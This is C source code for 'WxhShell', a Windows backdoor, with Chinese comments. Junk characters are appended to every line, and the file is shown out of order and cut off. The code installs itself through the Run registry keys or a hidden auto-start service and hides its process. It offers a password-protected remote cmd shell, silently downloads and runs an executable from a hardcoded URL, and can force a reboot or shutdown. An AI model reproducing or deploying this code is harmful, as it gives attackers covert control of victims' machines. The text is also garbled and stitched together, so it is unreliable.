    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AV t(e6H  
    if(Boot(SHUTDOWN)) `S&$y4|Vs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Z"5zL10  
    else { r@|{mQOxa  
    closesocket(wsh); CO)BF%?B  
    ExitThread(0); L\`uD  
    } XBTtfl &  
    break; {H\(H _X  
    } gG>|5R0  
  // 获取shell p!XB\%sv'"  
  case 's': { /q3]AVV  
    CmdShell(wsh); {I]X-+D|_  
    closesocket(wsh); Gtyy^tz[  
    ExitThread(0); QcXqMx  
    break; ,hggmzA~  
  } N~Kl{" >`  
  // 退出 & rsNB:!  
  case 'x': { z }t{bm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O<H5W|cM  
    CloseIt(wsh); \nX5 $[  
    break; m4 :|  
    } 0\Q/$#3  
  // 离开 Z*M]AvO+#  
  case 'q': { Fq-A vU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xUKn  
    closesocket(wsh); nc0!ag  
    WSACleanup(); C2Pw;iK_t  
    exit(1); J7p'_\  
    break; pOe"S  
        } j;3hQOl  
  } R Cgn\  
  } R cz;|h8  
K]<49`MX  
  // 提示信息 aYmC LLj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ki8]+W37  
} `Dn"<-9:  
  } O%Mi`\W@  
(|*CVI;  
  return; 7I_1Lnnf  
} q@"0(Oj  
>~D-\,d|f  
// shell模块句柄 (b]r_|'  
int CmdShell(SOCKET sock) b/yXE)3 X  
{ (B0tgg^jj,  
STARTUPINFO si; 5y1:oiE/  
ZeroMemory(&si,sizeof(si)); tbNIl cAWS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3~r>G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {cYS0%Go  
PROCESS_INFORMATION ProcessInfo; zx(=ArCRr  
char cmdline[]="cmd"; nO{m2&r+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wcd1.$ n  
  return 0; tlz+!>  
} G<8d=}  
pow.@  
// 自身启动模式 5*n3*rbU:  
int StartFromService(void) |$)+h\h  
{ `L. kyL  
typedef struct pc=f,  
{ yLDv/r  
  DWORD ExitStatus; @u.%z# h"1  
  DWORD PebBaseAddress; 7a0kat '\  
  DWORD AffinityMask; Q#Vg5H4  
  DWORD BasePriority; V"r2 t9A  
  ULONG UniqueProcessId;   OH*  
  ULONG InheritedFromUniqueProcessId; (PM!{u=  
}   PROCESS_BASIC_INFORMATION; wB~5&:]jr  
w<0F-0:8  
PROCNTQSIP NtQueryInformationProcess; Avc9W[4  
zj+.MG04  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q>E[)\+y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "s6\l~+9l  
&rj)Oh2  
  HANDLE             hProcess; Zdm7As]  
  PROCESS_BASIC_INFORMATION pbi; lV*dQwa?i  
'H]&$AZ;@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #7Pnw.s3zz  
  if(NULL == hInst ) return 0; saj%[Gsy  
`F^~*FnR,B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uE}A-\G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {tN?)~ZQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WqHsf1? N  
%+{[%?xh  
  if (!NtQueryInformationProcess) return 0; N1vPY]8  
}%@q; "9`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8}^R jMgI  
  if(!hProcess) return 0; t.ci!#/d  
!qQ B}sAf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &.ilku/  
V=?qU&r<+  
  CloseHandle(hProcess); k v>rv37u  
lDV}vuM<4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {?zBc E:  
if(hProcess==NULL) return 0; 9 :ubPqt  
! /^Jma7n  
HMODULE hMod; mF@)l]UZ'  
char procName[255]; GjfPba4>  
unsigned long cbNeeded; T"tR*2HwSd  
$1F$3"k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }+F&=-P)  
3utv  
  CloseHandle(hProcess); &6#>a"?"  
YIc|0[ ]*|  
if(strstr(procName,"services")) return 1; // 以服务启动 8q5 `A Gl  
7@6B\':  
  return 0; // 注册表启动 [2 yxTK  
} g9XAUZe  
/ta5d;@  
// 主模块 /|HVp  
int StartWxhshell(LPSTR lpCmdLine) M(8Mj[>>Rj  
{ h5do?b v!  
  SOCKET wsl; uDWxIP,m  
BOOL val=TRUE; oQS_rv\Ber  
  int port=0; 3R=R k  
  struct sockaddr_in door; I=DvP;!  
3`mM0,fY  
  if(wscfg.ws_autoins) Install(); G""L1?  
+pefk+  
port=atoi(lpCmdLine); Bc!ZHW *&  
; { MK  
if(port<=0) port=wscfg.ws_port; WA$Ug  
m,"N 4a@  
  WSADATA data; tS@J)p+_(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @}8~TbP  
b;O@|HK&~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x&N!SU6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CU7WK}2h2C  
  door.sin_family = AF_INET; _^(}6o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,+Bp>=pvs  
  door.sin_port = htons(port); Cr  a@  
0?0$6F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .GM}3(1fX`  
closesocket(wsl); _x&fK$Y)B  
return 1; t V:oBT*  
} $}TK ,/W  
it\U+xu  
  if(listen(wsl,2) == INVALID_SOCKET) { `-J$7)d@  
closesocket(wsl); mx ]a@tu  
return 1; jO9w7u6  
} ku&m)'  
  Wxhshell(wsl); {f12&t  
  WSACleanup(); M< 1rQW'  
DJGq=*  
return 0; v Wt{kg;  
@}r2xY1  
} l"ZfgJ}W  
Wi5rXZS  
// 以NT服务方式启动 M#U#I :z%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .vm.g=-q  
{ (0c L! N;;  
DWORD   status = 0; bY>JLRQJ-  
  DWORD   specificError = 0xfffffff; c@ea ;Cv  
pp!>:%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1/l;4~p7'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {Iu9%uR>@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jb5nL`(j$  
  serviceStatus.dwWin32ExitCode     = 0; KXtc4wra  
  serviceStatus.dwServiceSpecificExitCode = 0; TlA*~HG<Q  
  serviceStatus.dwCheckPoint       = 0; iax6o+OG|  
  serviceStatus.dwWaitHint       = 0; F\H^=P  
Jm5&6=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bTrQ(qp  
  if (hServiceStatusHandle==0) return; -2\%?A6L  
KkF3E*q\H  
status = GetLastError(); /;K?Y#mf~j  
  if (status!=NO_ERROR) fho$:S  
{ [tP6FdS/M=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UojHlTg#bT  
    serviceStatus.dwCheckPoint       = 0; f5droys9  
    serviceStatus.dwWaitHint       = 0; Og8'K=O#  
    serviceStatus.dwWin32ExitCode     = status; |fd}B5!c  
    serviceStatus.dwServiceSpecificExitCode = specificError; GY[+HgT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z ^w5x:  
    return; JOA_2qa>\  
  } Bp.z6x4  
QSNLo_z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -T  5$l  
  serviceStatus.dwCheckPoint       = 0; rP=!!fC1;  
  serviceStatus.dwWaitHint       = 0; #SR"Q`P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '~Z#h  P  
} FX6 *`  
=q4 QBAW  
// 处理NT服务事件,比如:启动、停止 vA(')"DDT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9W~3E^x  
{ Kr*s]O  
switch(fdwControl) ] SErM#$*  
{ :6 \?{xD  
case SERVICE_CONTROL_STOP: _s&sA2r<  
  serviceStatus.dwWin32ExitCode = 0; sY#iGEf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G|"`kAa  
  serviceStatus.dwCheckPoint   = 0; hny):59f  
  serviceStatus.dwWaitHint     = 0; l Zq`,E_L  
  { >h+G$&8[ y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 02EbmP  
  } -A\J:2a|  
  return; +EnJyli  
case SERVICE_CONTROL_PAUSE: ,XZ[L? >  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BUozpqN}  
  break; YnCWmlC  
case SERVICE_CONTROL_CONTINUE: DW,fh8w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z3lMD'uU3  
  break; w ,CZ*/^  
case SERVICE_CONTROL_INTERROGATE: CL U[')H0  
  break; ,iUYsY  
}; }: W6Bo-|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  FsbX{  
} x!<?/I)X  
nKoc%TNqe  
// 标准应用程序主函数 d_5wMK6O6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6-'Y*  
{ XP$1CWI  
'x-PQQ  
// 获取操作系统版本 1HBdIWhHv.  
OsIsNt=GetOsVer(); xzGs%01]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @+S5"W  
|0wUOs*5  
  // 从命令行安装 l*l(QvN_  
  if(strpbrk(lpCmdLine,"iI")) Install(); [P*w$Hn  
h2Pvj37  
  // 下载执行文件 bN#)F    
if(wscfg.ws_downexe) { I'_.U]An  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cX64 X  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ux2p qPb  
} t-vH\m  
& q(D90w.  
if(!OsIsNt) { zqq$PaH*  
// 如果时win9x,隐藏进程并且设置为注册表启动 xV h-Mx+M  
HideProc(); [}/\W`C  
StartWxhshell(lpCmdLine); #\&jM -.-  
} KL4Z||n  
else D/jS4'$vA  
  if(StartFromService()) @'K+   
  // 以服务方式启动 e:BKdZGW  
  StartServiceCtrlDispatcher(DispatchTable); 6^L4wd7)  
else L;},1 \  
  // 普通方式启动 );$L#XpB  
  StartWxhshell(lpCmdLine); *(~=L%s  
uQ;b'6Jcp  
return 0; <3!jra,h  
} )32BM+f"77  
iG[an*#X  
JvHGu&Nr!  
y`~[R7E  
=========================================== ((U-JeFW   
ypuW}H%`  
$=j}JX}z  
A@@Z?t.  
Hm?zMyO.k  
!/w<F{cl  
" S*o%#ZJN  
p& > z=Z*  
#include <stdio.h> /CtR|~wL  
#include <string.h> rZ~.tT|(  
#include <windows.h> ~PT( /L  
#include <winsock2.h> #du!tx ( _  
#include <winsvc.h> (aX5VB**  
#include <urlmon.h> w*})ZYIUT  
1or4s{bmo  
#pragma comment (lib, "Ws2_32.lib") H1,;Xrm  
#pragma comment (lib, "urlmon.lib") aF:_1. LC  
p5!=Ur&A c  
#define MAX_USER   100 // 最大客户端连接数 pP&TFy#G+'  
#define BUF_SOCK   200 // sock buffer A22h+8yG  
#define KEY_BUFF   255 // 输入 buffer HNA/LJl[VU  
,qgph^C  
#define REBOOT     0   // 重启 89>U Koc?  
#define SHUTDOWN   1   // 关机 Ld[zOx  
N1RZ  
#define DEF_PORT   5000 // 监听端口 ;[-dth  
9: bC{n  
#define REG_LEN     16   // 注册表键长度 5PPV`7Xm9  
#define SVC_LEN     80   // NT服务名长度 D]9I-|  
Xi'y-cV ^  
// 从dll定义API +h6c Aqm]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cwxy ~.mI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tn+6:<OFdO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZJ} V>Bu-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Uk u~"OGC  
\c&%F=1+*  
// wxhshell配置信息 blcd]7nK  
struct WSCFG { a_YE[6  
  int ws_port;         // 监听端口 "CdL?(  
  char ws_passstr[REG_LEN]; // 口令 'AX/?Srd  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZZf-c5 g  
  char ws_regname[REG_LEN]; // 注册表键名 [YY[E 7  
  char ws_svcname[REG_LEN]; // 服务名 Y"&&=M#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g_G'%{T7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \gRX:i#n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TOo0rcl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AF4:v<EN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /s3AZ j9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u@\]r 1  
`}ak;^Me  
}; +A 6xY  
+(iM]L$Fw%  
// default Wxhshell configuration "VxZnT  
struct WSCFG wscfg={DEF_PORT, Gxu&o%x [  
    "xuhuanlingzhe", j?ihUNY!+  
    1, <N11$t&_  
    "Wxhshell", 0wV!mC  
    "Wxhshell", SF2A?L?}+  
            "WxhShell Service", C`c;I7  
    "Wrsky Windows CmdShell Service", @.f@N;z  
    "Please Input Your Password: ", $\l7aA5~  
  1, [vkz<sL"  
  "http://www.wrsky.com/wxhshell.exe", tuuc9H4B  
  "Wxhshell.exe" 5 T1M:~u i  
    }; TJ3CXyRq  
Hxft~*  
// 消息定义模块 ]w.:K*_=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \TS t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $}0q=Lg%wv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D;.O#bS  
char *msg_ws_ext="\n\rExit."; |e@9YDZ  
char *msg_ws_end="\n\rQuit."; CZ*c["x2  
char *msg_ws_boot="\n\rReboot..."; i.I iwe0G  
char *msg_ws_poff="\n\rShutdown..."; Fx2z lM&  
char *msg_ws_down="\n\rSave to "; L DD^X@q  
d?(#NP#;  
char *msg_ws_err="\n\rErr!"; pIdJ+gu(s  
char *msg_ws_ok="\n\rOK!"; (.a:jL$  
Kl<qp7o0  
char ExeFile[MAX_PATH]; :9N~wd  
int nUser = 0; [@Y<:6  
HANDLE handles[MAX_USER]; deSrs:.  
int OsIsNt; m`!C|?hu  
bj4cW\b(  
SERVICE_STATUS       serviceStatus; _y&m4Vuu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =s`\W7/;{-  
1UX"iO x(  
// 函数声明 59gt#1k  
int Install(void); jPg8>Z&D  
int Uninstall(void); rD)yEuYX  
int DownloadFile(char *sURL, SOCKET wsh); xg %EQ  
int Boot(int flag); u"r~5  
void HideProc(void); pOQ'k>!  
int GetOsVer(void); sJ)XoK syW  
int Wxhshell(SOCKET wsl); ''S*B|:  
void TalkWithClient(void *cs); 4`5jq)  
int CmdShell(SOCKET sock); Jr m<u t  
int StartFromService(void); ;}{xpJ/  
int StartWxhshell(LPSTR lpCmdLine); vR<Y1<j  
I`kaAOe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bsi HVr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xk%92Pto  
g#qt<d}j  
// 数据结构和表定义 @ROMHMd}  
SERVICE_TABLE_ENTRY DispatchTable[] = @0A7d $J(  
{ @mBZu!,  
{wscfg.ws_svcname, NTServiceMain}, N*w/\|  
{NULL, NULL} Cw]& B  
}; {LfVV5?  
4VINu9\V  
// 自我安装 mw)KyU#l,:  
int Install(void) @Y+YN;57  
{ p@]\ N  
  char svExeFile[MAX_PATH]; h}fz`ti U  
  HKEY key; d)F~)}TFM  
  strcpy(svExeFile,ExeFile); & .VciSq6  
q y73  
// 如果是win9x系统,修改注册表设为自启动 57IAH$n8o  
if(!OsIsNt) { ^c3~CD5H 3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6KPM4#61o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;$Q `JN=  
  RegCloseKey(key); '&,$"QXwE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e eb`Ao  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rtf\{u9 }g  
  RegCloseKey(key); X[b=25Ct  
  return 0; 1 zIFQ@  
    } 3/V&PDC*'  
  } .w3.zZ0[  
} vcs=!Ace  
else { R{GOlxKs C  
"mc/fp  
// 如果是NT以上系统,安装为系统服务 ($EA/|z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t98t&YUpm  
if (schSCManager!=0) s*{l}~fPkW  
{ ~*RG|4#  
  SC_HANDLE schService = CreateService Br.$:g#  
  ( hN*,]Z{  
  schSCManager, uu L"o  
  wscfg.ws_svcname, yi*)g0M  
  wscfg.ws_svcdisp, c jfYE]  
  SERVICE_ALL_ACCESS, n{JBC%^g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1o\P7P Le  
  SERVICE_AUTO_START, asqbLtQ  
  SERVICE_ERROR_NORMAL, _4F(WCco  
  svExeFile, wYy=Tl-N  
  NULL, c?B@XIl  
  NULL, ,.[T]37  
  NULL, $Kgw6  
  NULL, S~L$sqt  
  NULL rC.z772y%  
  ); {/`iZzPg  
  if (schService!=0) Yl%1e|WV  
  { zhtNL_  
  CloseServiceHandle(schService); a;JB8  
  CloseServiceHandle(schSCManager); (A(7?eq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p>Dv&fX  
  strcat(svExeFile,wscfg.ws_svcname);  gSQq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6Mu_9UAl`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1'DD9d{ qN  
  RegCloseKey(key); sFv68Ag+  
  return 0; Z18T<e  
    } nNJU@<|{*  
  } ?g gl8bzA  
  CloseServiceHandle(schSCManager); GlkTpX^b  
} rOd<nP^`\  
} ^=:e9i3u  
_u TaN  
return 1; -t~l!! N(  
} (os}s8cIh  
+{U0PI82  
// 自我卸载 A\p'\@f  
int Uninstall(void) ]OIB;h;3  
{ Hx[YHu KL^  
  HKEY key; ax$ashFO/!  
~< %%n'xmm  
if(!OsIsNt) { l,j7I3&~%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ssaEAm:  
  RegDeleteValue(key,wscfg.ws_regname); QND{3Q  
  RegCloseKey(key); _N!L?b83P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xR;>n[6  
  RegDeleteValue(key,wscfg.ws_regname); "D#+:ix8G|  
  RegCloseKey(key); 91%QO?hz  
  return 0; FG/".dU  
  } K ZoIjK]  
} ~I[Z 2&I  
} "TW%-67  
else { y#F`yXUj  
rTTde^^_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iAD'MB  
if (schSCManager!=0) 6.%M:j0 0E  
{ Xg+Eeg#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kI7c22OJ  
  if (schService!=0) kT6h}d^/^  
  { jb;!"HC  
  if(DeleteService(schService)!=0) { `-@8IZ7  
  CloseServiceHandle(schService); -PXRd)~  
  CloseServiceHandle(schSCManager); {*utke]}*  
  return 0; n N.6?a  
  } BUcPMF%\y:  
  CloseServiceHandle(schService); .*\TG/x  
  } .Z%y16)T  
  CloseServiceHandle(schSCManager); eC`} oEz  
} |f5WN&c  
} OsI>gX>  
l;{n" F  
return 1; %N5gQXg  
} :/YHU3~Y  
@BQJKPF*  
// 从指定url下载文件 x\( @ v  
int DownloadFile(char *sURL, SOCKET wsh) iF]G$@rbU  
{ We%HdTKT  
  HRESULT hr; qTc-Z5  
char seps[]= "/"; %siBCjvo=  
char *token; <Y%km[Mh  
char *file; 38ac~1HjE  
char myURL[MAX_PATH]; Gy}WZ9{  
char myFILE[MAX_PATH]; dy/\>hu  
5cahbx1"  
strcpy(myURL,sURL); r'bctFsD  
  token=strtok(myURL,seps); sBUK v(U)  
  while(token!=NULL) \"=4)Huv  
  { dCq-&3?t  
    file=token; *}fs@"S   
  token=strtok(NULL,seps); bY` b3  
  } & Xh8j^p'  
bloe|o!  
GetCurrentDirectory(MAX_PATH,myFILE); 2gP^+.  
strcat(myFILE, "\\"); Dp1FX"a)  
strcat(myFILE, file); VpmwN`  
  send(wsh,myFILE,strlen(myFILE),0); gbvM2  
send(wsh,"...",3,0); _0HCtx ;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R1't W=  
  if(hr==S_OK) scr`] tD  
return 0; pO]{Y?X:  
else e !V3/*F  
return 1; HC1jN8WDY  
Ot,_=PP  
} R=Qa54  
nsf.wHGZ"J  
// 系统电源模块 w3,DsEXu  
int Boot(int flag) !9 7U2L4  
{ ~|y$^qy?U  
  HANDLE hToken; W`^euBr7R>  
  TOKEN_PRIVILEGES tkp; &Bn> YFu  
+ t%[$"$  
  if(OsIsNt) { @34Z/%A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }jL_/gvgy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :A2{  
    tkp.PrivilegeCount = 1; 96a2G,c >V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {?X#E12vf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d}d1]@Y\  
if(flag==REBOOT) { Z]L_{=*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C1V:_-  
  return 0; (i3V  
} ]IF QD  
else { \/qo2'V j`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B!PT|  
  return 0; sGBm[lplz  
} sY|by\-c  
  } |4E5x9J  
  else { WA'4y\N  
if(flag==REBOOT) { 4k$i:st;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;dC>$_P?  
  return 0; 0cGO*G2Xr  
} `5SLo=~  
else { =`&7pYd,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yM_ta '^$  
  return 0; F+!w[}0  
} %#AM }MWIa  
} _1>Xk_  
adCTo  
return 1; XIep3l*  
} eT!*_.' e  
DHI%R<  
// win9x进程隐藏模块 )Z/L  
void HideProc(void) hq[:U?!Tt  
{ k U75  
MC'2;,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ejF GeR  
  if ( hKernel != NULL ) NE~R&ym9  
  { HQ187IwpTm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xl/ SDm_p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rofGD9f   
    FreeLibrary(hKernel); $Gy&  
  } kzkrvC+u  
lwVo%-  
return; K3Sa6"U  
} 7%MD0qm-  
e7O9q8b  
// 获取操作系统版本 MbT;]Bo  
int GetOsVer(void) p1BMQ?=($  
{ &EUI  
  OSVERSIONINFO winfo; d O})#50f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1QA{NAnu&  
  GetVersionEx(&winfo); R>C^duos.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~10>mg  
  return 1; 13JZ\`ceb  
  else *ku}.n  
  return 0; _L^(CFE  
} 8*bEsc|  
/W|=Or2oR  
// 客户端句柄模块 vC [uEx:  
int Wxhshell(SOCKET wsl)  S6d&w6  
{ qOqU CRUe:  
  SOCKET wsh; Xn%ty@8  
  struct sockaddr_in client; H{d;, KfX  
  DWORD myID; #9/^)^k  
7]8nW!h;  
  while(nUser<MAX_USER) Y3 V9  
{ ZFxa2J~;  
  int nSize=sizeof(client); 7{BTtUMAC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &^7^7:Y=?  
  if(wsh==INVALID_SOCKET) return 1; Yk^clCB{A(  
j@o \d%.'!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lSG"c+iV  
if(handles[nUser]==0) \jpm   
  closesocket(wsh); _\ &N<  
else vyA `Z1  
  nUser++; hI#1Ybl  
  } }x~1w:z Hd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  Lw1aG;5  
/cXVJ(#j  
  return 0; {CaTu5\  
} ZzO^IZKlC  
(DnrJ.QU}t  
// 关闭 socket VpO+52&  
void CloseIt(SOCKET wsh) ! N!A%  
{ j3Yz=bsQ{c  
closesocket(wsh); ;1MRBk,  
nUser--; |19zjhl  
ExitThread(0); C f(g  
} dI%#cf1  
S|Yz5)*  
// 客户端请求句柄 =>m x>R`S  
void TalkWithClient(void *cs) ~Qm<w3oy  
{ 'V`Hp$r  
e h6\y7 9g  
  SOCKET wsh=(SOCKET)cs; v1`*}.#  
  char pwd[SVC_LEN]; n85d g  
  char cmd[KEY_BUFF]; JFOXrRR=d  
char chr[1]; 2FxrjA  
int i,j; -}G>{5.A  
Vb++K0CK  
  while (nUser < MAX_USER) { xgQ&'&7l  
"q]r{0  
if(wscfg.ws_passstr) { g;eoH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1"fbQ^4`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T!YfCw.HZ  
  //ZeroMemory(pwd,KEY_BUFF); ls,;ozU  
      i=0; V"u .u  
  while(i<SVC_LEN) { DQ`\HY  
(X?et &  
  // 设置超时 [B1h0IR  
  fd_set FdRead; aWk1D.  
  struct timeval TimeOut; EG#mNpxE  
  FD_ZERO(&FdRead); A>Y#-e;<d  
  FD_SET(wsh,&FdRead); sKniqWi  
  TimeOut.tv_sec=8; x@Ze%$'  
  TimeOut.tv_usec=0; '\wZKY VN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hhr!FQ.+/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2JR$  
d) $B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g5[r!XO  
  pwd=chr[0]; B(ZK\]  
  if(chr[0]==0xd || chr[0]==0xa) { v2KK%Qy  
  pwd=0; lBZhg~{  
  break; ><DXT nt'x  
  } >0AVs6&;v  
  i++; +6;1.5Tc  
    } 3q)y;T\yW  
++|vy~T  
  // 如果是非法用户,关闭 socket XdV(=PS!a@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D=_FrEM_IA  
} ^77X?nDz=h  
%|o2d&i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~&%&Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )Rj,PF-9Z[  
Y q(CD!  
while(1) { 8h$f6JE  
7blo<|9  
  ZeroMemory(cmd,KEY_BUFF); 4iC=+YUn  
E%e2$KfD  
      // 自动支持客户端 telnet标准   =LyR CrA  
  j=0; I%'6IpR"d  
  while(j<KEY_BUFF) { {Q/_I@m].  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EF5:$#  
  cmd[j]=chr[0]; X775j"<d  
  if(chr[0]==0xa || chr[0]==0xd) { i"GCm`  
  cmd[j]=0; 9*CJWS;  
  break; 9 lH00n+'  
  } TYu(;~   
  j++; C|g]Y 7  
    } Jj'dg6QY'  
jr3FDd]  
  // 下载文件 b75en{aDi*  
  if(strstr(cmd,"http://")) { D"ecwx{%;C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @mm~i~~KA  
  if(DownloadFile(cmd,wsh)) u8N"i),  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xd@_:ds  
  else " LkI'>3}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0`~#H1TK  
  } JL:\\JT.  
  else { $(N+E,XB  
,cwjieM  
